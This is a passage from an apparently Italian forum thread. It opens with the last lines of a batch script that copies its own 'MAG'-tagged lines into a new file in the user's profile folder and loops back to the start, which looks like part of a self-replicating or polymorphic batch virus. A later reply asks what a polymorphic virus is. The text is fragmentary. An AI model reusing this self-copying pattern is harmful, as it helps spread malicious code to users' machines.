@@@@find "MAG" < %0 > "%­userprofile%%­time%.go"
@@@@goto start

rem ________________________________________
rem ___________END OF BLOCK 3______________
<P>rem ________________________________________
 
Top
kokxa
view post Posted on 4/7/2017, 11:12     +1   -1




cosa ш un polymorphic virus
 
Top
1 replies since 5/7/2010, 20:53   219 views
  Share